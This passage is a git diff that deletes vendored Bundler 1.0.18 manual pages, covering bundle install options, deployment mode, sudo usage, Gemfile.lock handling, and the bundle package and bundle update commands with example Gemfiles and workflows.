-	      also  the  project  root, and will look for the Gemfile.lock and
-	      vendor/cache relative to it.
-
-       --path=<path>
-	      The location to install the gems in the bundle to. This defaults
-	      to the gem home, which is the location that gem install installs
-	      gems to. This means that, by default, gems installed  without  a
-	      --path  setting  will  show  up  in  gem list. This setting is a
-	      remembered option.
-
-       --system
-	      Installs the gems in the bundle to  the  system  location.  This
-	      overrides any previous remembered use of --path.
-
-       --without=<list>
-	      A  space-separated  list of groups to skip installing. This is a
-	      remembered option.
-
-       --local
-	      Do not attempt to connect to rubygems.org,  instead  using  just
-	      the  gems located in vendor/cache. Note that if a more appropri-
-	      ate platform-specific gem  exists  on  rubygems.org,  this  will
-	      bypass the normal lookup.
-
-       --deployment
-	      Switches	bundler's  defaults  into  deployment mode. Do not use
-	      this flag on development machines.
-
-       --binstubs[=<directory>]
-	      Create a directory (defaults to bin)  containing	an  executable
-	      that  runs  in  the  context of the bundle. For instance, if the
-	      rails gem comes with a rails executable, this flag will create a
-	      bin/rails  executable  that  ensures  that all dependencies used
-	      come from the bundled gems.
-
-       --standalone[=<list>]
-	      Make a bundle that can work without Ruby Gems or Bundler at run-
-	      time.  It  takes a space separated list of groups to install. It
-	      creates a bundle directory and installs  the  bundle  there.  It
-	      also   generates	 a  bundle/bundler/setup.rb  file  to  replace
-	      Bundler's own setup.
-
-DEPLOYMENT MODE
-       Bundler's defaults are optimized for development. To switch to defaults
-       optimized  for  deployment,  use the --deployment flag. Do not activate
-       deployment mode on development machines, as it will cause in  an  error
-       when the Gemfile is modified.
-
-       1.  A Gemfile.lock is required.
-
-	   To ensure that the same versions of the gems you developed with and
-	   tested with	are  also  used  in  deployments,  a  Gemfile.lock  is
-	   required.
-
-	   This  is  mainly  to  ensure  that  you remember to check your Gem-
-	   file.lock into version control.
-
-       2.  The Gemfile.lock must be up to date
-
-	   In development, you can modify your Gemfile(5)  and	re-run	bundle
-	   install to conservatively update your Gemfile.lock snapshot.
-
-	   In  deployment, your Gemfile.lock should be up-to-date with changes
-	   made in your Gemfile(5).
-
-       3.  Gems are installed to vendor/bundle not your default  system  loca-
-	   tion
-
-	   In  development,  it's  convenient  to  share the gems used in your
-	   application with other applications and other scripts  run  on  the
-	   system.
-
-	   In  deployment, isolation is a more important default. In addition,
-	   the user deploying the  application	may  not  have	permission  to
-	   install  gems to the system, or the web server may not have permis-
-	   sion to read them.
-
-	   As a result, bundle install --deployment installs gems to the  ven-
-	   dor/bundle  directory  in  the  application. This may be overridden
-	   using the --path option.
-
-
-
-SUDO USAGE
-       By default, bundler installs gems to the same location as gem  install.
-
-       In  some cases, that location may not be writable by your Unix user. In
-       that case, bundler will stage everything in a temporary directory, then
-       ask  you  for  your  sudo password in order to copy the gems into their
-       system location.
-
-       From your perspective,  this  is  identical  to	installing  them  gems
-       directly into the system.
-
-       You should never use sudo bundle install. This is because several other
-       steps in bundle install must be performed as the current user:
-
-       o   Updating your Gemfile.lock
-
-       o   Updating your vendor/cache, if necessary
-
-       o   Checking out private git repositories using your user's SSH keys
-
-
-
-       Of these three, the first  two  could  theoretically  be  performed  by
-       chowning  the  resulting  files	to $SUDO_USER. The third, however, can
-       only be performed by actually invoking the git command as  the  current
-       user.  Therefore,  git gems are downloaded and installed into ~/.bundle
-       rather than $GEM_HOME or $BUNDLE_PATH.
-
-       As a result, you should run bundle install as  the  current  user,  and
-       bundler will ask for your password if it is needed to put the gems into
-       their final location.
-
-INSTALLING GROUPS
-       By default, bundle install will install all gems in all groups in  your
-       Gemfile(5), except those declared for a different platform.
-
-       However,  you  can  explicitly  tell bundler to skip installing certain
-       groups with the --without option. This option takes  a  space-separated
-       list of groups.
-
-       While  the --without option will skip installing the gems in the speci-
-       fied groups, it will still download those gems and use them to  resolve
-       the dependencies of every gem in your Gemfile(5).
-
-       This is so that installing a different set of groups on another machine
-       (such as a production server) will not change  the  gems  and  versions
-       that you have already developed and tested against.
-
-       Bundler offers a rock-solid guarantee that the third-party code you are
-       running in development and testing is also the third-party code you are
-       running	in  production. You can choose to exclude some of that code in
-       different environments, but you will never  be  caught  flat-footed  by
-       different versions of third-party code being used in different environ-
-       ments.
-
-       For a simple illustration, consider the following Gemfile(5):
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "sinatra"
-
-	   group :production do
-	     gem "rack-perftools-profiler"
-	   end
-
-
-
-       In this case, sinatra depends on any version of	Rack  (>=  1.0,  while
-       rack-perftools-profiler depends on 1.x (~> 1.0).
-
-       When  you  run  bundle  install --without production in development, we
-       look at the dependencies of rack-perftools-profiler as well. That  way,
-       you  do	not spend all your time developing against Rack 2.0, using new
-       APIs unavailable in Rack 1.x, only to have bundler switch to  Rack  1.2
-       when the production group is used.
-
-       This  should  not  cause  any  problems	in practice, because we do not
-       attempt to install the gems in the excluded groups, and	only  evaluate
-       as part of the dependency resolution process.
-
-       This  also means that you cannot include different versions of the same
-       gem in different groups, because doing so  would  result  in  different
-       sets of dependencies used in development and production. Because of the
-       vagaries of the dependency resolution  process,	this  usually  affects
-       more  than just the gems you list in your Gemfile(5), and can (surpris-
-       ingly) radically change the gems you are using.
-
-REMEMBERED OPTIONS
-       Some options (marked above  in  the  OPTIONS  section)  are  remembered
-       between calls to bundle install, and by the Bundler runtime.
-
-       For  instance,  if  you run bundle install --without test, a subsequent
-       call to bundle install that does not  include  a  --without  flag  will
-       remember your previous choice.
-
-       In  addition, a call to Bundler.setup will not attempt to make the gems
-       in those groups available on the Ruby  load  path,  as  they  were  not
-       installed.
-
-       The settings that are remembered are:
-
-       --deployment
-	      At  runtime, this remembered setting will also result in Bundler
-	      raising an exception if the Gemfile.lock is out of date.
-
-       --path Subsequent calls to bundle install  will	install  gems  to  the
-	      directory  originally passed to --path. The Bundler runtime will
-	      look for gems in that location. You can revert  this  option  by
-	      running bundle install --system.
-
-       --binstubs
-	      Bundler  will  update  the  executables every subsequent call to
-	      bundle install.
-
-       --without
-	      As described above, Bundler will	skip  the  gems  specified  by
-	      --without  in  subsequent  calls	to bundle install. The Bundler
-	      runtime will also not try to make the gems in the skipped groups
-	      available.
-
-THE GEMFILE.LOCK
-       When  you  run  bundle install, Bundler will persist the full names and
-       versions of all gems that you used (including dependencies of the  gems
-       specified in the Gemfile(5)) into a file called Gemfile.lock.
-
-       Bundler uses this file in all subsequent calls to bundle install, which
-       guarantees that you always use the same exact code, even as your appli-
-       cation moves across machines.
-
-       Because	of the way dependency resolution works, even a seemingly small
-       change (for instance, an update to a point-release of a dependency of a
-       gem  in	your  Gemfile(5)) can result in radically different gems being
-       needed to satisfy all dependencies.
-
-       As a result, you SHOULD check your Gemfile.lock into  version  control.
-       If you do not, every machine that checks out your repository (including
-       your production server) will resolve all dependencies again, which will
-       result  in  different versions of third-party code being used if any of
-       the gems in the Gemfile(5) or  any  of  their  dependencies  have  been
-       updated.
-
-CONSERVATIVE UPDATING
-       When  you  make a change to the Gemfile(5) and then run bundle install,
-       Bundler will update only the gems that you modified.
-
-       In other words, if a gem that you did  not  modify  worked  before  you
-       called  bundle install, it will continue to use the exact same versions
-       of all dependencies as it used before the update.
-
-       Let's take a look at an example. Here's your original Gemfile(5):
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "actionpack", "2.3.8"
-	   gem "activemerchant"
-
-
-
-       In this case, both actionpack and activemerchant depend	on  activesup-
-       port.  The  actionpack  gem  depends on activesupport 2.3.8 and rack ~>
-       1.1.0, while the activemerchant gem depends on activesupport >=	2.3.2,
-       braintree >= 2.0.0, and builder >= 2.0.0.
-
-       When   the   dependencies  are  first  resolved,  Bundler  will	select
-       activesupport 2.3.8, which satisfies the requirements of both  gems  in
-       your Gemfile(5).
-
-       Next, you modify your Gemfile(5) to:
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "actionpack", "3.0.0.rc"
-	   gem "activemerchant"
-
-
-
-       The  actionpack	3.0.0.rc  gem  has  a  number of new dependencies, and
-       updates the activesupport dependency to = 3.0.0.rc and the rack	depen-
-       dency to ~> 1.2.1.
-
-       When  you  run  bundle  install,  Bundler  notices that you changed the
-       actionpack gem, but not the activemerchant gem. It evaluates  the  gems
-       currently being used to satisfy its requirements:
-
-       activesupport 2.3.8
-	      also  used  to  satisfy a dependency in activemerchant, which is
-	      not being updated
-
-       rack ~> 1.1.0
-	      not currently being used to satify another dependency
-
-       Because you did not explicitly ask to update activemerchant, you  would
-       not  expect it to suddenly stop working after updating actionpack. How-
-       ever, satisfying the new activesupport 3.0.0.rc dependency  of  action-
-       pack requires updating one of its dependencies.
-
-       Even  though activemerchant declares a very loose dependency that theo-
-       retically matches activesupport 3.0.0.rc, bundler treats gems  in  your
-       Gemfile(5)  that have not changed as an atomic unit together with their
-       dependencies. In this case, the activemerchant dependency is treated as
-       activemerchant  1.7.1  +  activesupport	2.3.8,	so bundle install will
-       report that it cannot update actionpack.
-
-       To explicitly update actionpack, including its dependencies which other
-       gems  in  the  Gemfile(5) still depend on, run bundle update actionpack
-       (see bundle update(1)).
-
-       Summary: In general, after making a change  to  the  Gemfile(5)	,  you
-       should  first  try  to run bundle install, which will guarantee that no
-       other gems in the Gemfile(5) are impacted by the change. If  that  does
-       not work, run bundle update(1) bundle-update.1.html.
-
-
-
-				   July 2011		     BUNDLE-INSTALL(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package
deleted file mode 100644
index a157a1b4..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package
+++ /dev/null
@@ -1,49 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE\-PACKAGE" "1" "October 2010" "" ""
-.
-.SH "NAME"
-\fBbundle\-package\fR \- Package your needed \fB\.gem\fR files into your application
-.
-.SH "SYNOPSIS"
-\fBbundle package\fR
-.
-.SH "DESCRIPTION"
-Copy all of the \fB\.gem\fR files needed to run the application into the \fBvendor/cache\fR directory\. In the future, when running bundle install(1) \fIbundle\-install\.1\.html\fR, use the gems in the cache in preference to the ones on \fBrubygems\.org\fR\.
-.
-.SH "GIT AND PATH GEMS"
-In Bundler 1\.0, the \fBbundle package\fR command only packages \fB\.gem\fR files, not gems specified using the \fB:git\fR or \fB:path\fR options\. This will likely change in the future\.
-.
-.SH "REMOTE FETCHING"
-By default, if you simply run bundle install(1) \fIbundle\-install\.1\.html\fR after running bundle package(1) \fIbundle\-package\.1\.html\fR, bundler will still connect to \fBrubygems\.org\fR to check whether a platform\-specific gem exists for any of the gems in \fBvendor/cache\fR\.
-.
-.P
-For instance, consider this Gemfile(5):
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "nokogiri"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-If you run \fBbundle package\fR under C Ruby, bundler will retrieve the version of \fBnokogiri\fR for the \fB"ruby"\fR platform\. If you deploy to JRuby and run \fBbundle install\fR, bundler is forced to check to see whether a \fB"java"\fR platformed \fBnokogiri\fR exists\.
-.
-.P
-Even though the \fBnokogiri\fR gem for the Ruby platform is \fItechnically\fR acceptable on JRuby, it actually has a C extension that does not run on JRuby\. As a result, bundler will, by default, still connect to \fBrubygems\.org\fR to check whether it has a version of one of your gems more specific to your platform\.
-.
-.P
-This problem is also not just limited to the \fB"java"\fR platform\. A similar (common) problem can happen when developing on Windows and deploying to Linux, or even when developing on OSX and deploying to Linux\.
-.
-.P
-If you know for sure that the gems packaged in \fBvendor/cache\fR are appropriate for the platform you are on, you can run \fBbundle install \-\-local\fR to skip checking for more appropriate gems, and just use the ones in \fBvendor/cache\fR\.
-.
-.P
-One way to be sure that you have the right platformed versions of all your gems is to run \fBbundle package\fR on an identical machine and check in the gems\. For instance, you can run \fBbundle package\fR on an identical staging box during your staging process, and check in the \fBvendor/cache\fR before deploying to production\.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package.txt
deleted file mode 100644
index 4ff2383b..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-package.txt
+++ /dev/null
@@ -1,66 +0,0 @@
-BUNDLE-PACKAGE(1)					     BUNDLE-PACKAGE(1)
-
-
-
-NAME
-       bundle-package - Package your needed .gem files into your application
-
-SYNOPSIS
-       bundle package
-
-DESCRIPTION
-       Copy  all of the .gem files needed to run the application into the ven-
-       dor/cache directory. In the future, when running bundle install(1) bun-
-       dle-install.1.html, use the gems in the cache in preference to the ones
-       on rubygems.org.
-
-GIT AND PATH GEMS
-       In Bundler 1.0, the bundle package command only	packages  .gem	files,
-       not  gems  specified  using the :git or :path options. This will likely
-       change in the future.
-
-REMOTE FETCHING
-       By default, if you simply run bundle  install(1)  bundle-install.1.html
-       after  running  bundle  package(1)  bundle-package.1.html, bundler will
-       still connect to rubygems.org to check whether a platform-specific  gem
-       exists for any of the gems in vendor/cache.
-
-       For instance, consider this Gemfile(5):
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "nokogiri"
-
-
-
-       If  you run bundle package under C Ruby, bundler will retrieve the ver-
-       sion of nokogiri for the "ruby" platform. If you deploy	to  JRuby  and
-       run  bundle install, bundler is forced to check to see whether a "java"
-       platformed nokogiri exists.
-
-       Even though the nokogiri gem  for  the  Ruby  platform  is  technically
-       acceptable on JRuby, it actually has a C extension that does not run on
-       JRuby. As  a  result,  bundler  will,  by  default,  still  connect  to
-       rubygems.org to check whether it has a version of one of your gems more
-       specific to your platform.
-
-       This problem is also not just limited to the "java" platform. A similar
-       (common) problem can happen when developing on Windows and deploying to
-       Linux, or even when developing on OSX and deploying to Linux.
-
-       If you know for sure that the gems packaged in vendor/cache are	appro-
-       priate  for the platform you are on, you can run bundle install --local
-       to skip checking for more appropriate gems, and just use  the  ones  in
-       vendor/cache.
-
-       One  way  to be sure that you have the right platformed versions of all
-       your gems is to run bundle package on an identical machine and check in
-       the  gems.  For	instance,  you	can run bundle package on an identical
-       staging box during your staging process, and check in the  vendor/cache
-       before deploying to production.
-
-
-
-				 October 2010		     BUNDLE-PACKAGE(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update
deleted file mode 100644
index ea82f49d..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update
+++ /dev/null
@@ -1,202 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE\-UPDATE" "1" "October 2010" "" ""
-.
-.SH "NAME"
-\fBbundle\-update\fR \- Update your gems to the latest available versions
-.
-.SH "SYNOPSIS"
-\fBbundle update\fR \fI*gems\fR [\-\-source=NAME]
-.
-.SH "DESCRIPTION"
-Update the gems specified (all gems, if none are specified), ignoring the previously installed gems specified in the \fBGemfile\.lock\fR\. In general, you should use bundle install(1) \fIbundle\-install\.1\.html\fR to install the same exact gems and versions across machines\.
-.
-.P
-You would use \fBbundle update\fR to explicitly update the version of a gem\.
-.
-.SH "OPTIONS"
-.
-.TP
-\fB\-\-source=<name>\fR
-The name of a \fB:git\fR or \fB:path\fR source used in the Gemfile(5)\. For instance, with a \fB:git\fR source of \fBhttp://github\.com/rails/rails\.git\fR, you would call \fBbundle update \-\-source rails\fR
-.
-.SH "UPDATING ALL GEMS"
-If you run \fBbundle update\fR with no parameters, bundler will ignore any previously installed gems and resolve all dependencies again based on the latest versions of all gems available in the sources\.
-.
-.P
-Consider the following Gemfile(5):
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "rails", "3\.0\.0\.rc"
-gem "nokogiri"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-When you run bundle install(1) \fIbundle\-install\.1\.html\fR the first time, bundler will resolve all of the dependencies, all the way down, and install what you need:
-.
-.IP "" 4
-.
-.nf
-
-Fetching source index for http://rubygems\.org/
-Installing rake (0\.8\.7)
-Installing abstract (1\.0\.0)
-Installing activesupport (3\.0\.0\.rc)
-Installing builder (2\.1\.2)
-Installing i18n (0\.4\.1)
-Installing activemodel (3\.0\.0\.rc)
-Installing erubis (2\.6\.6)
-Installing rack (1\.2\.1)
-Installing rack\-mount (0\.6\.9)
-Installing rack\-test (0\.5\.4)
-Installing tzinfo (0\.3\.22)
-Installing actionpack (3\.0\.0\.rc)
-Installing mime\-types (1\.16)
-Installing polyglot (0\.3\.1)
-Installing treetop (1\.4\.8)
-Installing mail (2\.2\.5)
-Installing actionmailer (3\.0\.0\.rc)
-Installing arel (0\.4\.0)
-Installing activerecord (3\.0\.0\.rc)
-Installing activeresource (3\.0\.0\.rc)
-Installing bundler (1\.0\.0\.rc\.3)
-Installing nokogiri (1\.4\.3\.1) with native extensions
-Installing thor (0\.14\.0)
-Installing railties (3\.0\.0\.rc)
-Installing rails (3\.0\.0\.rc)
-
-Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed\.
-.
-.fi
-.
-.IP "" 0
-.
-.P
-As you can see, even though you have just two gems in the Gemfile(5), your application actually needs 25 different gems in order to run\. Bundler remembers the exact versions it installed in \fBGemfile\.lock\fR\. The next time you run bundle install(1) \fIbundle\-install\.1\.html\fR, bundler skips the dependency resolution and installs the same gems as it installed last time\.
-.
-.P
-After checking in the \fBGemfile\.lock\fR into version control and cloning it on another machine, running bundle install(1) \fIbundle\-install\.1\.html\fR will \fIstill\fR install the gems that you installed last time\. You don\'t need to worry that a new release of \fBerubis\fR or \fBmail\fR changes the gems you use\.
-.
-.P
-However, from time to time, you might want to update the gems you are using to the newest versions that still match the gems in your Gemfile(5)\.
-.
-.P
-To do this, run \fBbundle update\fR, which will ignore the \fBGemfile\.lock\fR, and resolve all the dependencies again\. Keep in mind that this process can result in a significantly different set of the 25 gems, based on the requirements of new gems that the gem authors released since the last time you ran \fBbundle update\fR\.
-.
-.SH "UPDATING A LIST OF GEMS"
-Sometimes, you want to update a single gem in the Gemfile(5), and leave the rest of the gems that you specified locked to the versions in the \fBGemfile\.lock\fR\.
-.
-.P
-For instance, in the scenario above, imagine that \fBnokogiri\fR releases version \fB1\.4\.4\fR, and you want to update it \fIwithout\fR updating Rails and all of its dependencies\. To do this, run \fBbundle update nokogiri\fR\.
-.
-.P
-Bundler will update \fBnokogiri\fR and any of its dependencies, but leave alone Rails and its dependencies\.
-.
-.SH "OVERLAPPING DEPENDENCIES"
-Sometimes, multiple gems declared in your Gemfile(5) are satisfied by the same second\-level dependency\. For instance, consider the case of \fBthin\fR and \fBrack\-perftools\-profiler\fR\.
-.
-.IP "" 4
-.
-.nf
-
-source "http://rubygems\.org"
-
-gem "thin"
-gem "rack\-perftools\-profiler"
-.
-.fi
-.
-.IP "" 0
-.
-.P
-The \fBthin\fR gem depends on \fBrack >= 1\.0\fR, while \fBrack\-perftools\-profiler\fR depends on \fBrack ~> 1\.0\fR\. If you run bundle install, you get:
-.
-.IP "" 4
-.
-.nf
-
-Fetching source index for http://rubygems\.org/
-Installing daemons (1\.1\.0)
-Installing eventmachine (0\.12\.10) with native extensions
-Installing open4 (1\.0\.1)
-Installing perftools\.rb (0\.4\.7) with native extensions
-Installing rack (1\.2\.1)
-Installing rack\-perftools_profiler (0\.0\.2)
-Installing thin (1\.2\.7) with native extensions
-Using bundler (1\.0\.0\.rc\.3)
-.
-.fi
-.
-.IP "" 0
-.
-.P
-In this case, the two gems have their own set of dependencies, but they share \fBrack\fR in common\. If you run \fBbundle update thin\fR, bundler will update \fBdaemons\fR, \fBeventmachine\fR and \fBrack\fR, which are dependencies of \fBthin\fR, but not \fBopen4\fR or \fBperftools\.rb\fR, which are dependencies of \fBrack\-perftools_profiler\fR\. Note that \fBbundle update thin\fR will update \fBrack\fR even though it\'s \fIalso\fR a dependency of \fBrack\-perftools_profiler\fR\.
-.
-.P
-\fBIn short\fR, when you update a gem using \fBbundle update\fR, bundler will update all dependencies of that gem, including those that are also dependencies of another gem\.
-.
-.P
-In this scenario, updating the \fBthin\fR version manually in the Gemfile(5), and then running bundle install(1) \fIbundle\-install\.1\.html\fR will only update \fBdaemons\fR and \fBeventmachine\fR, but not \fBrack\fR\. For more information, see the \fBCONSERVATIVE UPDATING\fR section of bundle install(1) \fIbundle\-install\.1\.html\fR\.
-.
-.SH "RECOMMENDED WORKFLOW"
-In general, when working with an application managed with bundler, you should use the following workflow:
-.
-.IP "\(bu" 4
-After you create your Gemfile(5) for the first time, run
-.
-.IP
-$ bundle install
-.
-.IP "\(bu" 4
-Check the resulting \fBGemfile\.lock\fR into version control
-.
-.IP
-$ git add Gemfile\.lock
-.
-.IP "\(bu" 4
-When checking out this repository on another development machine, run
-.
-.IP
-$ bundle install
-.
-.IP "\(bu" 4
-When checking out this repository on a deployment machine, run
-.
-.IP
-$ bundle install \-\-deployment
-.
-.IP "\(bu" 4
-After changing the Gemfile(5) to reflect a new or update dependency, run
-.
-.IP
-$ bundle install
-.
-.IP "\(bu" 4
-Make sure to check the updated \fBGemfile\.lock\fR into version control
-.
-.IP
-$ git add Gemfile\.lock
-.
-.IP "\(bu" 4
-If bundle install(1) \fIbundle\-install\.1\.html\fR reports a conflict, manually update the specific gems that you changed in the Gemfile(5)
-.
-.IP
-$ bundle update rails thin
-.
-.IP "\(bu" 4
-If you want to update all the gems to the latest possible versions that still match the gems listed in the Gemfile(5), run
-.
-.IP
-$ bundle update
-.
-.IP "" 0
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update.txt
deleted file mode 100644
index ceb2cb82..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-update.txt
+++ /dev/null
@@ -1,207 +0,0 @@
-BUNDLE-UPDATE(1)					      BUNDLE-UPDATE(1)
-
-
-
-NAME
-       bundle-update - Update your gems to the latest available versions
-
-SYNOPSIS
-       bundle update *gems [--source=NAME]
-
-DESCRIPTION
-       Update  the  gems specified (all gems, if none are specified), ignoring
-       the previously installed gems specified in the  Gemfile.lock.  In  gen-
-       eral, you should use bundle install(1) bundle-install.1.html to install
-       the same exact gems and versions across machines.
-
-       You would use bundle update to explicitly update the version of a  gem.
-
-OPTIONS
-       --source=<name>
-	      The  name  of a :git or :path source used in the Gemfile(5). For
-	      instance,       with	 a	  :git	      source	    of
-	      http://github.com/rails/rails.git,  you would call bundle update
-	      --source rails
-
-UPDATING ALL GEMS
-       If you run bundle update with no parameters, bundler  will  ignore  any
-       previously  installed  gems and resolve all dependencies again based on
-       the latest versions of all gems available in the sources.
-
-       Consider the following Gemfile(5):
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "rails", "3.0.0.rc"
-	   gem "nokogiri"
-
-
-
-       When you run bundle install(1) bundle-install.1.html  the  first  time,
-       bundler	will  resolve  all  of the dependencies, all the way down, and
-       install what you need:
-
-
-
-	   Fetching source index for http://rubygems.org/
-	   Installing rake (0.8.7)
-	   Installing abstract (1.0.0)
-	   Installing activesupport (3.0.0.rc)
-	   Installing builder (2.1.2)
-	   Installing i18n (0.4.1)
-	   Installing activemodel (3.0.0.rc)
-	   Installing erubis (2.6.6)
-	   Installing rack (1.2.1)
-	   Installing rack-mount (0.6.9)
-	   Installing rack-test (0.5.4)
-	   Installing tzinfo (0.3.22)
-	   Installing actionpack (3.0.0.rc)
-	   Installing mime-types (1.16)
-	   Installing polyglot (0.3.1)
-	   Installing treetop (1.4.8)
-	   Installing mail (2.2.5)
-	   Installing actionmailer (3.0.0.rc)
-	   Installing arel (0.4.0)
-	   Installing activerecord (3.0.0.rc)
-	   Installing activeresource (3.0.0.rc)
-	   Installing bundler (1.0.0.rc.3)
-	   Installing nokogiri (1.4.3.1) with native extensions
-	   Installing thor (0.14.0)
-	   Installing railties (3.0.0.rc)
-	   Installing rails (3.0.0.rc)
-
-	   Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.
-
-
-
-       As you can see, even though you have just two gems in  the  Gemfile(5),
-       your  application  actually  needs  25  different gems in order to run.
-       Bundler remembers the exact versions it installed in Gemfile.lock.  The
-       next  time  you	run  bundle  install(1) bundle-install.1.html, bundler
-       skips the dependency resolution	and  installs  the  same  gems	as  it
-       installed last time.
-
-       After  checking in the Gemfile.lock into version control and cloning it
-       on another machine,  running  bundle  install(1)  bundle-install.1.html
-       will  still  install  the  gems that you installed last time. You don't
-       need to worry that a new release of erubis or mail changes the gems you
-       use.
-
-       However,  from  time to time, you might want to update the gems you are
-       using to the newest versions that still match the  gems	in  your  Gem-
-       file(5).
-
-       To  do this, run bundle update, which will ignore the Gemfile.lock, and
-       resolve all the dependencies again. Keep in mind that this process  can
-       result  in  a  significantly different set of the 25 gems, based on the
-       requirements of new gems that the gem authors released since  the  last
-       time you ran bundle update.
-
-UPDATING A LIST OF GEMS
-       Sometimes, you want to update a single gem in the Gemfile(5), and leave
-       the rest of the gems that you specified locked to the versions  in  the
-       Gemfile.lock.
-
-       For  instance,  in  the	scenario above, imagine that nokogiri releases
-       version 1.4.4, and you want to update it without updating Rails and all
-       of its dependencies. To do this, run bundle update nokogiri.
-
-       Bundler	will  update  nokogiri	and any of its dependencies, but leave
-       alone Rails and its dependencies.
-
-OVERLAPPING DEPENDENCIES
-       Sometimes, multiple gems declared in your Gemfile(5) are  satisfied  by
-       the  same  second-level	dependency. For instance, consider the case of
-       thin and rack-perftools-profiler.
-
-
-
-	   source "http://rubygems.org"
-
-	   gem "thin"
-	   gem "rack-perftools-profiler"
-
-
-
-       The thin gem depends on	rack  >=  1.0,	while  rack-perftools-profiler
-       depends on rack ~> 1.0. If you run bundle install, you get:
-
-
-
-	   Fetching source index for http://rubygems.org/
-	   Installing daemons (1.1.0)
-	   Installing eventmachine (0.12.10) with native extensions
-	   Installing open4 (1.0.1)
-	   Installing perftools.rb (0.4.7) with native extensions
-	   Installing rack (1.2.1)
-	   Installing rack-perftools_profiler (0.0.2)
-	   Installing thin (1.2.7) with native extensions
-	   Using bundler (1.0.0.rc.3)
-
-
-
-       In this case, the two gems have their own set of dependencies, but they
-       share rack in common. If you  run  bundle  update  thin,  bundler  will
-       update  daemons, eventmachine and rack, which are dependencies of thin,
-       but  not   open4   or   perftools.rb,   which   are   dependencies   of
-       rack-perftools_profiler.  Note that bundle update thin will update rack
-       even though it's also a dependency of rack-perftools_profiler.
-
-       In short, when you update a  gem  using	bundle	update,  bundler  will
-       update  all  dependencies  of  that  gem, including those that are also
-       dependencies of another gem.
-
-       In this scenario, updating the thin version manually in the Gemfile(5),
-       and  then  running  bundle  install(1)  bundle-install.1.html will only
-       update daemons and eventmachine, but not rack.  For  more  information,
-       see  the  CONSERVATIVE  UPDATING  section  of  bundle  install(1)  bun-
-       dle-install.1.html.
-
-RECOMMENDED WORKFLOW
-       In general, when working with an application managed with bundler,  you
-       should use the following workflow:
-
-       o   After you create your Gemfile(5) for the first time, run
-
-	   $ bundle install
-
-       o   Check the resulting Gemfile.lock into version control
-
-	   $ git add Gemfile.lock
-
-       o   When  checking  out this repository on another development machine,
-	   run
-
-	   $ bundle install
-
-       o   When checking out this repository on a deployment machine, run
-
-	   $ bundle install --deployment
-
-       o   After changing the Gemfile(5) to reflect a  new  or	update	depen-
-	   dency, run
-
-	   $ bundle install
-
-       o   Make sure to check the updated Gemfile.lock into version control
-
-	   $ git add Gemfile.lock
-
-       o   If bundle install(1) bundle-install.1.html reports a conflict, man-
-	   ually update the specific gems that you changed in the Gemfile(5)
-
-	   $ bundle update rails thin
-
-       o   If you want to update all the gems to the latest possible  versions
-	   that still match the gems listed in the Gemfile(5), run
-
-	   $ bundle update
-
-
-
-
-
-
-				 October 2010		      BUNDLE-UPDATE(1)
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle.txt b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle.txt
deleted file mode 100644
index d2e99b88..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-BUNDLE(1)							     BUNDLE(1)
-
-
-
-NAME
-       bundle - Ruby Dependency Management
-
-SYNOPSIS
-       bundle COMMAND [--no-color] [--verbose] [ARGS]
-
-DESCRIPTION
-       Bundler	manages  an application's dependencies through its entire life
-       across many machines systematically and repeatably.
-
-       See the bundler website http://gembundler.com for information  on  get-
-       ting  started,  and Gemfile(5) for more information on the Gemfile for-
-       mat.
-
-OPTIONS
-       --no-color
-	      Prints all output without color
-
-       --verbose
-	      Prints out additional logging information
-
-BUNDLE COMMANDS
-       We divide bundle subcommands into primary commands and utilities.
-
-PRIMARY COMMANDS
-       bundle install(1) bundle-install.1.html
-	      Install the gems specified by the Gemfile or Gemfile.lock
-
-       bundle update(1) bundle-update.1.html
-	      Update dependencies to their latest versions
-
-       bundle package(1) bundle-package.1.html
-	      Package the .gem files required by  your	application  into  the
-	      vendor/cache directory
-
-       bundle exec(1) bundle-exec.1.html
-	      Execute a script in the context of the current bundle
-
-       bundle config(1) bundle-config.1.html
-	      Specify and read configuration options for bundler
-
-UTILITIES
-       bundle check(1)
-	      Determine  whether  the  requirements  for  your application are
-	      installed and available to bundler
-
-       bundle list(1)
-	      Show all of the gems in the current bundle
-
-       bundle show(1)
-	      Show the source location of a particular gem in the bundle
-
-       bundle outdated(1)
-	      Show all of the outdated gems in the current bundle
-
-       bundle console(1)
-	      Start an IRB session in the context of the current bundle
-
-       bundle open(1)
-	      Open an installed gem in the editor
-
-       bundle viz(1)
